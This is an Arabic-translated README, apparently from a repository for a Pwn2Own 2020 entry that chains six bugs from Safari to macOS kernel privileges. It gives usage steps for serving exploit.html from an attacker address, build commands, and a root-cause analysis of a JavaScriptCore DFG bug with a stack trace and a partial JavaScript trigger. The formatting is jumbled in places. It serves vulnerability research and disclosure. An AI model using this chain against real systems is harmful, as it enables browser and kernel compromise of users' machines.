
اختراق نواة macOS عبر Safari من خلال ربط ست ثغرات أمنية
يحتوي هذا المستودع على تفاصيل الاستغلال والتقنية لـإرسالنا الفائز في Pwn2Own 2020 الذي يستهدف Apple Safari مع تصعيد صلاحيات النواة لنظام macOS 10.15.3. لمزيد من المعلومات، يمكنك أيضًا الاطلاع على شرائح Blackhat USA 2020 الخاصة بنا والفيديو. يتضمن هذا المستودع أيضًا الفيديو التجريبي الخاص بنا للاستغلال الناجح.
2. قم بالوصول إلى الموقع الإلكتروني باستخدام عنوان IP الخاص بخادم المهاجم عبر Safari:```
http://[attacker_ip]/exploit.html
csrutil status، والذي سيعرض disabled.من أجل راحتك، وفرنا حمولة مُجمَّعة، payload.js. ولكن، إذا أردت،
يمكنك بناؤها بنفسك. لاحظ أن هذا سيستغرق وقتًا طويلاً جدًا
لأننا سنبني WebKit كجزء من سلسلة استغلالنا. ومن الجدير بالذكر
أننا اختبرنا عملية البناء فقط على نظام Mac OS.```shell
$ python3 -m pip install --user lief $ make
التفاصيل التقنية
-----------------
لإنشاء هذا الاستغلال، قمنا بتسلسل الثغرات *الست* التالية.
### 1. تنفيذ التعليمات البرمجية عن بُعد في Safari عبر نمذجة غير صحيحة للتأثير الجانبي لمشغّل 'in' في مترجم DFG في JavaScriptCore
- تحليل السبب الجذري
في JavaScriptCore، عندما يتم الاستعلام عن خاصية مفهرسة باستخدام مشغّل 'in'، يفترض مترجم DFG أنها خالية من التأثيرات الجانبية ما لم يكن هناك كائن proxy في سلسلة النماذج الأولية يمكنه اعتراض هذه العملية. يضع JavaScriptCore علامة على الكائن الذي يمكنه اعتراض هذا الوصول إلى الخاصية المفهرسة باستخدام علم يُسمى 'MayHaveIndexedAccessors'. يتم وضع هذه العلامة بشكل صريح لكائن Proxy.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
ومع ذلك، هناك كائن آخر يمكن أن يسبب تأثيرًا جانبيًا:
JSHTMLEmbedElement الذي يطبّق أسلوب getOwnPropertySlot() الخاص به. إحدى
الطرق لتحفيز استدعاءات JavaScript (أي التأثيرات الجانبية) باستخدام عامل التشغيل 'in' هي
استخدام عنصر <embed> مع مكوّن PDF الإضافي؛ فعند الاستعلام عن أي خاصية على
كائن DOM لعنصر embed / object، يحاول تحميل المكوّن الإضافي الخلفي و
يمكن استدعاء معالج حدث DOMSubtreeModified في حالة مكوّن PDF الإضافي لأنه
يستخدم أسلوب appendChild على عنصر body.
هذه هي تتبّع المكدس لاستدعاء التأثير الجانبي من getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
بما أن أي كائنات في سلسلة النماذج الأولية غير مُعلَّمة بـ
"MayHaveIndexedAccessors"، يفترض JIT أن استخدام عامل التشغيل 'in' هذا لا
يحتوي على أي انتقالات في الداخل مما يلغي فحوصات نوع المصفوفة بعد
الانتقال.```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')